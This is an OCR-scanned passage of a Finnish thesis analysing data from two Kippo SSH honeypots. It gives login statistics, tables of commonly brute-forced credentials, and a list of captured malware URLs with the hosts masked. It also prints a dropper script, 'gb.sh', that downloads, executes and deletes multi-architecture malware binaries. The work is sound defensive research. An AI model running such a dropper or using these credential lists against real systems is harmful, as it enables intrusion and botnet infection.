nus-salasanapari, jolla on padkayttdjan oikeudet (sudo) jarjestelmddn. Kyseinen
kayttojdarjestelmd voidaan ladata The Raspberry Pi Foundationin sivuilta
(https:/ /www.raspberrypi.org/downloads/raspbian/) ja asennus tehd&an kir-
joittamalla levykuva muistikortille. Kayttdjan oletetaan vaihtavan salasana heti
ensimmadisen kdynnistyksen yhteydessd, mutta se voi jadda helposti tekemétta.
Jos laite kytketddn suoraan internetiin julkiseen IP-osoitteeseen, on laite erittdin
haavoittuva, varsinkin, jos SSH-palvelu on kdynnissa.

Toinen kayttdjatunnus-salasanapari (“root:123456”) on Kipossa kdytossa
oletuksena, mutta se otettiin kdyttoon siksi, ettd kyseistd tunnus-salasanaparia
on kokeiltu jatkuvasti Kippo 1:ssd (ks. taulukko 10).

Kolmanneksi kdyttdjatunnus-salasanapariksi valikoitui “root:wubao”. Se
on myds yksi koetelluimmista tunnus-salasanapareista. Taman valinnan tueksi
etsittiin tietoa internetistd kyseisen tunnuksen kaytostd, ja tuli ilmi, ettd se ylei-
nen sshPsycho-ryhmén kayttaméd salasana brute force ~-hyokkadyksissd. Kiinan
kielessd "wubao” tarkoittaa vdadrin raportoitua.

Kippoon on toteutettu ominaisuus, jonka avulla kdyttdjd voi “vaihtaa” sa-
lasanan murtautumisen jalkeen. Tdmé luo uuden salasanan Kippoon, jota voi-
daan myos jatkossa kayttdd kirjautumiseen. Tamd toteutettiin tutkimusjakson
aikana kolme kertaa, joten uusia salasanoja luotiin seuraavasti:

TAULUKKO 10 Kayttdjien vaihtamat salasanat Kippo 2:ssa

Maa Tunnus-salasana, Tunnus-salasana, uusi Kaytetty
murtautuminen kirjautumi-
seen
Romania root:123456 root:razvanl2 2 kertaa
Saksa root:123456 root:dementu123 0 kertaa
Romania (2 IP-osoitetta) root:123456 root:george2013 2 kertaa

Tunnusten avaamisen jdlkeen kirjautumiset palvelimelle alkoivat vilk-
kaasti. Onnistuneita kirjautumisia oli koko ajanjaksolla yhteensa 1 244 kpl, vilk-
kaimpana pdivand (26.3.2016) 66 kpl ja rauhallisimpana pédivand (11.3.2016) 12
kpl. Keskiarvoksi ajanjaksolle tuli 29 onnistunutta kirjautumista vuorokaudessa.
Tilastoinnissa ei huomioitu mittausjakson ensimmadistd vuorokautta (24.2.2016),
joka jdi vajaaksi hunajapurkin avauduttua verkkoon keskelld pdivdd (Suomen
aikaa). Kuvio 11 havainnollistaa kirjautumisten lukumadran kehitystd aikasar-
jana tunnusten avaamisen jdlkeen. Keskimddrin onnistuneita kirjautumisia ker-
tyi noin 29 kpl vuorokaudessa.



52

L] o o o L]
Onnistuneet kirjautumiset / Kippo 2
70
60
50
40
P—
30 —
20 - ¥ —
10 - ]
O i T T
(Vo] (Vo] (e} Vo] Vo] (Vo] (e} (Vo] (Vo] (Vo] (e} Vo] (Vo] (o] (e} Vo] (Vo] (o] (e} Vo] (o] (e}
— - — — — — i i - — i — - — i — - — i - - —
o O O O O O O O O O O o o o o o o o o o o o
NEATEA TS T TS A T T T O T O T o T B T B T T B
N NN Mmoo oMo S S
LN ~ [e)] (o} < (Vo] [ce] o (o] <t (e} o0 o o~ < (o] o0 o — o™ wn N~
N o N — i — — — (o] (o] o (o' N o

Kuvio 11 Onnistuneiden kirjautumisten maarat paivittdin.

Onnistuneiden kirjautumisten ldhteistd tilastollisesti kolme suurinta aluet-
ta ovat yhteyksien lukumddran tavoin Kiina (57 %), Yhdysvallat (16 %) ja Etela-
Korea (7 %). Yhteensd onnistuneita kirjautumisia tuli 1 244 kpl 34 eri maasta.
Kuviossa 12 esitetddn 10 yleisintd 1dhdettd sekd muiden maiden osuudet - Kiina
ja Yhdysvallat ovat kdrjessd myos tdssd vertailussa.

Kirjautumisten lukumaara
Romania; 18; 1 % _Germany; 1§’a11%:|a; & oﬁ_Others; 44; 4%

Netherlandﬁ%?;ian
Fegoeratlon; 28;29
Ukraine; 33;3 %

Vietnam; 81; 7%

Korea, Republic of;
84;7%

Kuvio 12 Onnistuneiden kirjautumisten jakautuminen maittain
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Tutkimuksessa selvisi, osin odotetusti, ettd onnistunut kirjautuminen ei
Samoin tietyistd IP-osoitteista tehtiin toistuvasti onnistuneita kirjautumisia sa-
moin seurauksin - joko suorittaen samat komennot yha uudelleen, tai ollen te-
kemittd mitddn. Tatd kdydddn tarkemmin ldvitse alaluvussa Murtautumisen
mekanismit.

8.3 Yleisimmiit kayttidjatunnus-salasanaparit

Taulukoissa 11 ja 12 listataan hyokkayksiin kadytetyt 20 yleisintd kdyttdjatunnus-
salasanaparia, sekd kayttdjatunnukset ettd salasanat erikseen. Kippo 1 ja Kippo
2 -hunajapurkkien toisistaan poikkeavat yleisimmat kayttdjatunnus-
salasanaparit johtuvat pddasiassa kahden yksittdisen IP-osoitteen (esitelty
aiemmin) tuottamista kirjautumisyrityksista.

TAULUKKO 11 Kippo 1: yleisimmat kayttdjatunnus-salasanaparit

Kiyttdjatunnus Salasana Esiintymia
root 123456 1122
root password 1045
root root 1014
root wubao 968
root admin 906
root 1234 819
root 12345 799
root 123 772
root test 760
root @ 738
root jlamina 734
root root123 716
root 1 701
root lqaz@wsx 692
root lg@w 680
root ! 651
root idc!@ 602
root admin!@ 559
root default 314

root passwOrd 276
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TAULUKKO 12 Kippo 2: yleisimmit kayttdjatunnus-salasanaparit

Kiyttdjaitunnus Salasana Esiintymid
root 123456 857
root @ 636
pi raspberry 332
admin admin 225
admin default 218
root root 213
admin support 209
admin 123123 189
ubnt ubnt 131
test test 128
root password 115
oracle oracle 209
support support 98
root wubao 97
root admin 92
postgres postgres 88
guest guest 82
user user 81
git git 76
nagios nagios 70

TAULUKKO 13 Kippo 1 ja 2: yleisimmat kdyttdjatunnukset

Kippo 1: kidyttdjitunnus  Esiintymid Kippo 2: kidyttdja- Esiintymid
tunnus
root 319 874 root 22 930
ADMIN 4761 admin 1700
vps-83-222 930 vps-83-223 928
pardcohosted 898 pardcohosted 917
oracle 876 fi 911
fi 855 oracle 512
bin 672 test 421
test 621 pi 397
user 438 posgres 334
git 424 bin 298
postgres 411 git 294
ftpuser 262 user 276
ubuntu 246 vps-- 220
pi 242 changeme 201
nagios 235 tomcat 189
guest 231 ftpuser 184
vps-- 220 ubuntu 175
tomcat 210 guest 164
changeme 201 nagios 159
deploy 194 ubnt 158
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TAULUKKO 14 Kippo 1 ja 2: yleisimmit salasanat

Kippo 1: salasana Esiintymid Kippo 2: salasana Esiintymid
123456 2991 123456 2 064
password 1557 @ 636
root 1329 root 502
admin 1309 password 491
test 1192 admin 48
1234 1041 test 396
13245 980 raspberry 355
wubao 968 support 336
123 913 132123 267
1 912 default 259
P@ssw0rd 860 qwel23 242
@ 734 1234 241
jlamima 716 12345 219
root123 711 changeme 207
lqaz@wsx 686 123qwe 198
lg@w 651 user 183
! 622 1 178
idc'@ 602 qwerty 171
default 566 guest 158
admin!@ 559 123 156

Useat taulukoissa esiintyvat kayttdjatunnukset ovat joidenkin jarjestel-
mien, esimerkiksi joidenkin verkon aktiivilaitteiden, oletuksena kayttamid kayt-
murtautumisyrityksille, varsinkin, kun kyseisiin laitteisiin on harvoin toteutettu
suojautumismekanismeja sanakirjahyokkayksid vastaan. Samoin monet salasa-
nat ovat helposti ndppdiltdvid ja muistettavia salasanoja, jotka tekevit niistd
erittdin turvattomia.

8.4 Murtautumisen mekanismit

Murtautumiset toteutettiin hajautettujen sanakirjahyokkdysten avulla. Onnis-
tuneita kirjautumisia tutkittaessa selvisi, ettd 61 IP-osoitetta (12,8 %) on kirjau-
tunut onnistuneesti tekemadttd yhtdaan epdonnistunutta kirjautumisyritystd. Ta-
mé tarkoittaa sitd, ettd murtautujalla on ollut oikea kéyttdjatunus-salasanapari
tiedossa kirjautuessaan ensimmadistd kertaa. Kuitenkin néistd vain osa, 23 kpl
(joiden osuus on 4,8 % kaikista onnistuneista kirjautumisista), ldhetti komentoja
komentoriviltd, loput ovat vain kirjautuneet ja poistuneet tekemdittd mitdan.
Useissa tapauksissa yhteyksid otettiin useita kertoja ja poikkeavalla SSH-
asiakasohjelmalla. Lisdksi osa yhteyksistd alkoi ja pddttyi samalla aikaleimalla,
mutta myds muutaman sekunnin mittaisia yhteyksid oli avattu. Varmaa syyta
télle ilmidlle on vaikeaa sanoa, mutta todenndkoisesti kyseessd on jokin vadrin
toimiva murtautumiseen kaytettdva haittaohjelma.
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Sekd yksittdisten IP-osoitteiden tuottama murtautumisyritysten méérs, et-
td laajat hyokkayksissd kdytetyt sanakirjat, osoittavat valtaosan liikenteestd tu-
levan haistelijoilta (sniffers), jotka ovat mahdollisesti kyseiseen tarkoitukseen val-
jastettuja tietokoneita tai saastuneita tietokoneita sekd muita murrettuja &lylait-
teita. Kuvioon 13 on hahmoteltu hydkkayksen tyypillinen eteneminen - neljan-
tend vaiheena kuvattu liikenne haittaohjelmapalvelimen ja hunajapurkin valilla
toteutuu niissd tapauksissa, kun komentopalvelin pyytdd hunajapurkin (eli
murretuksi oletetun laitteen) noutamaan haittaohjelman verkon yli, yleensd
kayttdaen http-yhteyttd. Tutkimuksessa havaittiin, ettd haittaohjelmapalvelin voi
olla samassa IP-osoitteessa — mahdollisesti ollen sama tietokone - kuin komen-
topalvelin.

opalvelin Haittadhjelmapalvelin
Commangd & Control alware Server

Automatisoidut
hyokkaykset

Kippo honeypot
Kuvio 13 Hyokkdysten eteneminen ja haittaohjelmien lataamisen organisointi

8.5 Murtautujien toimet hunajapurkissa

Kuten aiemmin todettiin, onnistunut kirjautuminen ei valttamattd johda kaytta-
jan muihin toimiin hunajapurkissa. Onnistuneita kirjautumisia oli 1244 kpl,
mutta SSH:n yli annettiin komentoja vain 310 kirjautumiskerralla. Ndin ollen
vain n. 37 % kirjautuneista murtautujista teki jotakin onnistuneen kirjautumisen
jalkeen.

Kaikki SSH:n kautta annetut kédskyt kaytiin ldvitse ja luokiteltiin. Tulos oli
mielenkiintoinen: vain hyvin pieni osa murtautujista oli lainkaan kiinnostunut
tietokoneesta tai sen sisdllostd. Yleisimpid komentoja ei ole tdssd yhteydessa
mielekistd listata, koska niissd ei sellaisenaan ole riittdvisti informaatiota toi-
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minnan kuvaamiseksi (kuten esimerkiksi cd /tmp). Taulukossa 15 luetellaan eri-
tyyppisten toimien lukumaarat.

TAULUKKO 15 SSH:n kautta tehtyjen suoritteiden lukumaéaréat

Kuvaus Lukumadrd
Poistu valittomasti (exit) 1(0,3 %)
Lataa www-sivu curl-ohjelmalla 1(0,3 %)
Tutki tietokoneen ominaisuuksia ja kéyttdjien tiedostoja 2(0,6 %)
Tutki tietokoneen ominaisuuksia, lataa ja suorita haittaoh- 2 (0,6 %)
jelmia

Tutki tietokoneen ominaisuuksia ja asenna paketteja (apt- 4 (1,2 %)
get, yum)

Tutki tietokoneen ominaisuuksia ja vaihda padkayttdjan 4 (1,2 %)
salasana

Tyhjennd jarjestelman lokit tekeméttd muuta 3 (1,0 %)
Tutki tietokoneen ominaisuuksia tekemattd muuta 929 %)
Aja vain yksi késky, joka tulostaa jotakin (yleensé echo) 13 (4,2 %)

Muuta palomuurin asetuksia (iptables), lataa ja aja haittaoh- 20 (6,5 %)
jelmia

Lataa ja aja Perl-ohjelmia 29 (9,4 %)
Lataa ja aja haittaohjelmia tekemattd muuta 222 (71,6 %)

Annetuissa komennoissa oli paljon toistoa. Monet komennot olivat keske-
nddn tdysin identtisid ja osa ajettiin perdkkdin useita kertoja. Usein murtautu-
miset toteutettiin samasta IP-osoitteesta.

Komennoista oli selkedsti havaittavissa, milloin teksti oli ihmisen tuotta-
maa (ihminen reaaliaikaisesti sydttamassda komennot), ja milloin komennot an-
toi jokin tietokoneohjelma. Ihminen osallistui vain 14 kertaa (4,5 %) komentojen
syottamiseen, kun taas suurella varmuudella tietokoneohjelma suoritti komen-
not 286 kertaa (92,3 %). Epdvarmoja tapauksia oli 9 kappaletta (2,9 %) ja yhden
kerran komennot antoi alkuvaiheessa ihminen, minké jdlkeen loput komennot
kopioitiin leikepoydalta.

Komentojen péiteltiin olevan tietokoneohjelman sy6ttdmid, kun yksi seu-
raavista ehdoista toteutui:

o Kaikkien perdkkdin annettujen komentojen aikaleima oli alusta al-
kaen sama tai ldhes sama.

e Eri komentojen vililld oleva viive oli aina vakio (yleensd 4 sekuntia).
Tdamad toistui lukuisissa yhteyksissa.

e Komennot ajettiin perdkkdin, vaikka edellinen epdonnistui. Muu-
tamassa tapauksessa yritettiin ensin ladata haittaohjelma, joka epa-
onnistui. Tamén jdlkeen pyrittiin antamaan haittaohjelmalle ajo-
oikeudet ja suorittamaan se.

e Ajettiin vain yksi kédsky, mutta sama késky toistui yhd uudelleen
uusissa yhteyksissd. Esimerkkind kasky: echo "WinSCP: this is end-
of-file:0", joka suoritettiin yhteensa 8 kertaa mittausjakson aikana.
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8.6 Ladattujen haittaohjelmien tunnistaminen

Kippo 2 -hunajapurkissa tehtiin tutkimusjakson aikana yhteensa 128 tiedoston-
latausta, joista yksittdisid haittaohjelmatiedostoja oli 26 kappaletta. Monet tie-
dostot ladattiin useaan kertaan SSH:n kautta ajettujen skriptien avulla - lisdksi
muutama haittaohjelma ladattiin kahden eri kdyttdjan toimesta. Muutamassa
tapauksessa samanniminen haittaohjelma ladattiin usealta eri palvelimelta.

Haittaohjelmien tunnistamiseen on kehitetty avoimia tyokaluja, kuten
Googlen kehittama VirusTotal-palvelu. Palvelu yhdistelee useiden virustentor-
juntaohjelmien tietokantoja ja listaa ohjelmat, jotka tunnistavat kyseisen haitta-
ohjelmandytteen. Nayte voidaan ldhettdd palveluun joko URL-osoitteena, ko-
konaisena tiedostona tai tiedostosta laskettuna md5-tarkastussummana.

Taulukossa 16 luetellaan kaikki hunajapurkkiin ladatut haittaohjelmat se-
kd lyhyesti niiden piirteet (IP-osoitteet ja domain-nimet piilotettu). Ohjelmien
dynaaminen koodianalyysi (ajaminen hiekkalaatikkoymparistossd) tai staatti-
nen koodianalyysi ovat mielenkiintoisia jatkotutkimuskohteita, joihin ei kuiten-
kaan taman tutkimuksen yhteydessa ollut aikaa.

Taulukossa esiintyva tyyppi Shell tarkoittaa komentoriviltd ajettavaa ko-
mentojonotiedostoa (shell script). N&itd kutsutaan my6s droppereiksi, koska nii-
den avulla ladataan ja suoritetaan tyypillisesti varsinaiset ajettavat haittaohjel-
mat (payloads).
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TAULUKKO 16 Hunajapurkkiin ladatut haittaohjelmat

URL Tyyppi Toiminta

http:/ /www.xxx.ro/csservers_redirect  .tar.gz Murrettu Counter Strike -

e_linux_hlds_dp.tar.gz

pelin palvelinohjelmisto

http:/ /xxx.xxx.xxx.xxx/Bot/stun.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/blj.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/ TwoFace/DIC  Shell Malware dropper (useita CPU-

KS.sh arkkitehtuureita)

http:/ / xxx.xxx.xxx.xxx/bins.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ / xxx.xxx.xxx.xxx/a/a.pl Perl Perl/ShellBot.B - takaovi
kayttojarjestelmaan

http:/ /xxx.xxx.xxx.xxx/Bot/stun.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/s.pl Perl Perl/ShellBot.B - takaovi
kayttojarjestelmaan

http:/ / xxx.xxx.xxx.xxx /bin.sh Shell Malware dropper

http:/ /xxx.xxx.xxx.xxx/Bot/binary.sh  Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/r.pl Perl Perl/ShellBot.B - takaovi
kayttojarjestelmaan

http:/ /xxx.xxx.xxx.xxx/gb.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/xbin.sh Shell Malware dropper

http:/ / xxx.xxx.xxx.xxx/fknbin.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ / xxx.xxx.xxx.xxx /Bot/stun.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/Bot/binary.sh  Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ / xxx.xxx.xxx.xxx/bot.pl Perl Todenniksinen IRC-botti

http:/ / xxx.xxx.xxx.xxx/xxbin.sh Shell Malware dropper

http:/ /xxx.xxx.xxx.xxx/gb.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/bins.sh Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.xxx.xxx/Bot/binary.sh  Shell Malware dropper (useita CPU-
arkkitehtuureita)

http:/ /xxx.xxx.org/wp- Zip SSH Bruter - sanakirjahyok-

content/uploads/2016/03/ gosh.zip kays

http:/ / xxx.xxx.xxx.xxx/pbot.pl Perl Perl/ShellBot.B -  takaovi
kayttojarjestelmaan

http:/ / xxx.xxx.xxx.xxx/pbot.pl Perl Perl/ShellBot.B -  takaovi
kayttojarjestelmaan

http:/ /xxx.xxx.xxx.xxx/k.sh Shell Malware dropper

http:/ / xxx.xxx.cf/xinamxd.pl Perl Perl/ShellBot.B - takaovi

kayttojarjestelmaan
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Kuviossa 14 on tulostettu tiedoston gb.sh sisdltd, joka suorittaa seuraavat
toimet:

1. Ladataan haittaohjelma wget-ohjelmalla. Jokaisella rivilld suorite-
taan uusi lataus, IP-osoitteen jdlkeen oleva tiedostonimi, esimerkik-
si arm4l, tarkoittaa tdssd tapauksessa kyseiselle suoritinarkkitehtuu-
rille kddnnettyd binddrimuotoista haittaohjelmaa. Kyseinen IP-
osoite sijoittuu Vendjdlle.

2. Annetaan chmod-komennolla ladatulle tiedostolle suoritusoikeudet.
3. Suoritetaan haittaohjelma.
4. Poistetaan ladattu haittaohjelma.
5. Odotetaan kolme sekuntia viimeisimman suorituksen jalkeen.
6. Lataaja poistaa itsensa.
#1/bin/sh
wget -c htip:// ‘armvdl -P /dev/ ; chmod +x /dev/armvdl ; /dev/armvdl;rm -rf armv4l
wget -c http:// farmvSl -P /dev/ ; chmod +x /dev/armwSl ; /dev/armvSl;rm -rf armvsl
wget -c http:// 1586 -P /dev/ ; chmod +x /dev/i586 ; /dev/i586;rm -rf 1586
wget -c http:// 1686 <P sdev/ ; chmod +x /dev/i686 ; /dev/i686;rm -rf 1686
wget -c http:// '‘m68k -P sdev/ ; chmod +x /dev/m68k ; /dev/mb8k;rm -rf mé68k
wget -c http:// ‘mips -P /dev/ ; chmod +x /dev/aips ; /dev/aips;rm -rf mips
wget -¢ htip:// ‘aipsel -P /dev/ ; chmod +x /dev/mipsel ; /dev/aipsel;rm -rf mipsel
wget -c htip:// ‘powerpc P /dev/ ; chmod +x /dev/powerpc ; /dev/powerpc;rm -rf powerpe
wget -c http:// ‘powerpc448 -P sdev/ ; chmod +x /dev/powerpcd440 ; /dev/powerpcd48;rm -rf powerpcd4d
wget -c http:// ‘sh4 -P /dev/ ; chmod +x /dev/sh4 ; /dev/shd;rm -rf sh4
wget -c http:// ‘x86 64 -P Jdev/ ; chmod +x /dev/x86 64 ; /dev/xB6 64;rm -rf x86 64
wget -¢ http:// farmv4ld -P /dev/ ; chmod +x /fdev/aravdld ; /dev/aravdld;rm -rf armvdld
wget -c http:// farmvSl4 -P /dev/ ; chmod +x sdev/armvSi4 ; /dev/aravSid;rm -rf arav5l4
wget -c http:// 15864 P sdev/ ; chmod +x /dev/i5864 ; /dev/iS5864;rm -rf 15864
wget -c http:// '16864 -P sdev/ ; chmod +x /dev/i6864 ; /dev/i6864;rm -rf 16864
wget -c http:// '‘m68k4 -P /fdev/ ; chmod +x /dev/m68k4 ; /dev/m6Bkd4;rm -rf m68k4
wget -c htip:// ‘mipsd -P /dev/ ; chmod +x /dev/mipsd ; /dev/mipsd;ra -rf mipsd
wget ¢ http:// mipseld -P /dev/ ; chmod +x /dev/mipseld ; /dev/mipseld;rm -rf mipseld
wget -c http:// ‘powerpcd P /dev/ ; chmod +x /dev/powerpcd ; /dev/powerpcd;rm -rf powerpcd
wget -c http:// ‘powerpc4464 -P /dev/ ; chmod +x /dev/powerpc4464 ; /dev/powerpcd4484;m -rf powerpc44o4
wget -c http:// ‘shd44 -P /dev/ ; chmod +x /dev/shdd ; /dev/shdd;rm -rf shd4
wget -¢ htip:// 'xB6 644 -P Jdev/ ; chmod +x /dev/x86 644 ; /dev/x86 644;rm -rf x86 644
sleep 3;

m -fr /dev/gb.sh

Kuvio 14 Haittaohjelmalataaja ”gb.sh”, IP-osoite hdivytetty.

Kyseinen haittaohjelmalataaja oli tunnistettavissa myo6s edelld mainitun
VirusTotal-palvelun avulla. Palvelussa kadytettdvistd haittaohjelmatietokannois-
ta 11 / 57 kappaletta tunnisti kyseisen tiedoston. Tietokannoissa haittaohjelman
nimeksi oli annettu Linux / Downloader tai vastaava. Koska Kippo ei anna kéayt-
taohjelma kisin testausta varten kyseisestd IP-osoitteesta. Lataus onnistui ja
tiedostosta laskettiin md5-summa, mink3 jdlkeen se testattiin jdlleen VirusTotal-
palvelussa - tdssd tapauksessa 24 / 55 tietokantaa tunnisti haittaohjelman ja
luokitteli sen takaoveksi (backdoor) jarjestelmadn.

Kuten mainittiin, tutkimuksen aikana ladattiin osa haittaohjelmalataajien
yrittamistd tiedostoista kdsin hunajapurkin ulkopuolelle ja laskettiin niistd md5-
tarkastussummat. Ndistd 71 % oli tunnistettavissa VirusTotal-palvelun avulla,
mutta keskimédrin vain 31 % eri virustentorjuntaohjelmista pystyi tunnista-
maan kyseisen haittaohjelman. Merkittdva syy tdhdn voi olla Linux-
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haittaohjelmien suhteellisen pieni méédréd, Linux-pohjaisten kayttojdrjestelmien
harvinaisuus varsinkin PC-tietokoneissa sekd virustentorjuntaohjelmien vahai-
nen saatavuus Linux-ymparistoihin.

Vaikka varsinaiseen haittaohjelma-analyysiin ei tdssa tutkimuksessa keski-
tytd, suoritettiin kyseinen tiedosto suojatussa ympadristossd ilman padsyd verk-
koon. Kyseinen ohjelma asettui taustalle tulostaen muutaman sekunnin véalein
ilmoitusta “FAILED TO CONNECT”. Ohjelma ja4 siis taustalle odottamaan, etta
yhteyden avaaminen Command&Control -palvelimelle onnistuu.

Useissa tapauksissa haittaohjelmalataajat pyrkivét lataamaan useaan suo-
ritinarkkitehtuuriin kddnnettyjd, binddrimuotoisia haittaohjelmia. Kuviossa 12
esiintyvad haittaohjelma oli kddnnetty useille arkkitehtuureille, joten sen suorit-
taminen on mahdollista ldhes missd ymparistossd tahansa. Matkapuhelimet ja
taulutietokoneet on toteutettu yleensa ARM-arkkitehtuurilla, kevyemmat aly-
laitteet, kuten reitittimet, verkkoon liitettivit tietokoneiden oheislaitteet seka
[oT-laitteet, taas MIPS-arkkitehtuurilla. Kddnnokset useille arkkitehtuureille
mahdollistavat siis haittaohjelman levidmisen mahdollisimman laajalle.

Kuviossa 15 esitellddn haittaohjelmien lataajien osuudet maittain. Kysees-
sd on siis yksittdisten IP-osoitteiden sijainnit - kuten aiemmin mainittiin, la-
tauksia kertyi yhteensd 128 kappaletta, joista Yhdysvaltojen osuus oli 108 la-
tausta (84,4 %). Vastaavasti latauksia kertyi Alankomaista 9 kpl (7,0 %), Saksas-
ta 6 kpl (4,7 %) ja Romaniasta 5 kpl (3,9 %). Latausten mééré ei ole suorassa suh-
teessa lataajien madraan.

Haittaohjelmien lataajat

Netherlands; 7;
20 %

Germany; 1; 3%

Kuvio 15 Haittaohjelmien yksittdisten lataajien osuus maittain

Haittaohjelmat ladattiin hunajapurkkiin Linux-jarjestelmissd yleistd wget-
ohjelmaa kayttden. Kyseiselle ohjelmalle annetaan parametrina tiedoston URL-
osoite, jota voitiin kdyttdd palvelimen IP-osoitteen selvittimiseen - monessa
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tapauksessa palvelimilla ei tosin ollut DNS-osoitetta lainkaan, vaan http-pyynto
osoitettiin suoraan IP-osoitteeseen. Ndistd [P-osoitteista saatiin edellisten ta-
pausten lailla paikkatiedot, joiden perusteella pddstiin jdljittdmaan haittaohjel-
mapalvelimien sijaintitiedot. Sijainti ei kuitenkaan kerro haittaohjelman levitta-
jan todellista sijaintia, koska palvelinta voidaan ylldpitdd missd pdin maailmaa
tahansa. Monet suuret pilvipalvelujen tarjoajat antavat asiakkailleen mahdolli-
suuden valita, missd maassa sijaitsevaan konesaliin virtuaalipalvelimet halu-
taan sijoittaa. Joissakin tapauksissa nama haittaohjelmapalvelimet, joihin siis on
asennettu www-palvelinohjelmisto, voi my6s olla jokin murrettu palvelin tai
kotitietokone.

Kuviossa 16 ndkyy kohdepalvelimien IP-osoitteeseen kytkettyjen paikka-
tietojen osuudet. Tdssdkin tapauksessa Yhdysvalloissa sijaitsi kiistattomasti val-
taosa haittaohjelmia jakavista palvelimista, 22 kpl (64 %). Seuraavina tulivat
Ranska ja Romania osuuksilla 3 kpl (9 %), Ukraina 2 kpl (6 %) ja viimeisind yh-
den palvelimen lukumaérilla (3 %) Vendjd, Englanti, Saksa ja Alankomaat.

Haittaohjelmapalvelimien sijainnit

United Kingdom; 1; erlands: 1: 3 Germany; 1; 3 %
3% T I
Russian
Federation; 1;3 %

Romania; 3; 9%

Ukraine; 2; 6 %

Kuvio 16 Haittaohjelmien yksittdisten lataajien osuus maittain

Haittaohjelmandytteet antoivat kattavan kuvan tdlld hetkelld murrettuihin
laitteisiin ladattavista haittaohjelmista. Ndiden ohjelmien tarkempi analysointi
jad taman tutkimuksen ulkopuolelle, mutta on hyvin mielenkiintoinen jatkotut-
kimusaihe.

8.7 Yhteenveto

Téssa luvussa analysoitiin hunajapurkkien kerddma aineisto. Hunajapurkkeihin
kertyi valtava maéara liikennettd, kirjautumisyrityksid oli yhteensa 406 467 kpl.
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Kippo 2 -hunajapurkkiin avattiin pddsy kolmella eri kéyttdjatunnus-
salasanaparilla, joiden avaaminen tuotti 1 244 onnistunutta kirjautumista. Erit-
tdin huomionarvoista on, ettd yleisimmat kirjautumisyrityksiin kéytetyt tun-
nukset ovat useiden laitteiden hallintaan kédytettdvid oletustunnuksia ja -
salasanoja. Tamad ei ole ylldttdvdd, mutta antaa vahvistuksen sille, ettéd laitteisiin
oletuksina médritetyt kdyttdjatunnukset ja salasanat on aina vaihdettava.

Kirjautumiset ja niiden avulla tehdyt toimet analysoitiin. Mielenkiintoinen
havainto oli, ettd murtautujat eivit ole kiinnostuneita murrettujen tietokonei-
den sisdlloistd, vaan ne pyrittiin saastuttamaan haittaohjelmilla. Haittaohjelmia
hunajapurkkiin ladattiin yhteensd 129 kappaletta, jotka olivat pé&ddasiassa
skriptejd, jotka pyrkivat lataamaan lisdd haittaohjelmia. Kirjautumisista valtaosa
oli tietokoneohjelmien suorittamia, joten ihmisten tekemid toimia pdéstiin tut-
kimusjakson aikana ndkemadédn vain vdhdn - kohtalaisella varmuudella ihminen
oli vain 14 kirjautumisen takana. Kirjautumisyritysten méaarillda mitattuna eniten
murtautujia kirjautui sisddn Yhdysvalloista ja Kiinasta. Haittaohjelmapalveli-
mista valtaosa sijaitsi Yhdysvalloissa.
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9 YHTEENVETO JA POHDINTA

Tutkimuksessa perehdyttiin hyokkdyksentunnistus- ja hyokkayksenestojarjes-
telmiin, ennen kaikkea eri hunajapurkkijarjestelmiin. Tutkittiin hunajapurkki-
jdrjestelmien ominaisuuksia ja vaatimuksia sekd teknisesti ettd ylldpidollisen
on haastava monessa mielessd - se edellyttdd ymmarrystd verkkohyokkayksista
ja hyvédd teknistd osaamista, koska vddrin asennettuna hunajapurkki voi muo-
dostaa riskin muille jdrjestelmille tai murrettuna osallistua itse verkkohyok-
kayksiin, jolloin hunajapurkin ylldpitdjda on edesvastuussa mahdollisesti synty-
neistd vahingoista. Ylldpitdjan on myo0s tiedostettava omat oikeutensa, eika
hyokkéadjaa vastaan ole aiheellista kohdistaa vastatoimia, vaan tarvittaessa
hyokkéayksistd tulisi ilmoittaa hyokkdyksen ldhteessd olevalle operaattorille tai
verkon ylldpitdjdlle. On my6s mahdollista, ettd verkkohyokkaykseen kaytetaan
kolmannen osapuolen murrettua tietokonetta tai &dlylaitetta ilman, ettd laitteen
omistaja on asiasta tietoinen.

Tutkimuksessa vertailtiin eri hunajapurkkityyppeja. Kokeellisessa osassa
pdddyttiin asentamaan keskitason vuorovaikutuksen, suomalaista alkuperdd
oleva Kippo-ohjelmisto kahteen erilliseen verkkopalvelimeen, kumpikin oman
julkisen IP-osoitteensa taakse. Ensimmadinen hunajapurkki jatettiin kerddamaan
murtautumisyrityksid litkenteen médaran ja kdytettyjen sanakirjojen selvittamis-
td varten. Muutaman pédivan péddstd asennettiin toinen hunajapurkki, johon sal-
littiin padsy SSH-palvelun kautta kolmella eri kdyttdjatunnus-salasanaparilla.
Tutkimusaineistoa kerittiin aikavalilld 19.2. - 7.4.2016 (49 pdivdd), minkd aikana
hunajapurkit kerdsivit mittavan aineiston. Sen avulla saatiin tutkittua kattavas-
ti murtautumisia, niiden yrityksid, murtautujien toimia hunajapurkissa sekd
hunajapurkkiin ladattuja haittaohjelmia.

Kerdtyn tutkimusaineiston laajuus ylldtti myonteisesti ja sen perusteella
saatiin tehtyd runsaasti padatelmia hyokkaysten toteutuksista. Ylldttava havainto
oli, ettd murtautujia ei kiinnostanut murretun tietokoneen sisalto juuri lainkaan,
vaan murtautumisten padmadrand oli padstd saastuttamaan kyseinen tietokone
haittaohjelmilla. Haittaohjelmien tunnistamiseen kéaytettiin Googlen tarjoamaa
VirusTotal-palvelua, joka tunnisti jopa 71 % ndistd haittaohjelmista. Valtaosa



65

ohjelmista oli jarjestelmiin asennettavia takaovia, jonka avulla tietokoneita pyri-
tddn ohjaamaan komentopalvelimilta murtautujien padmadrien mukaisesti. To-
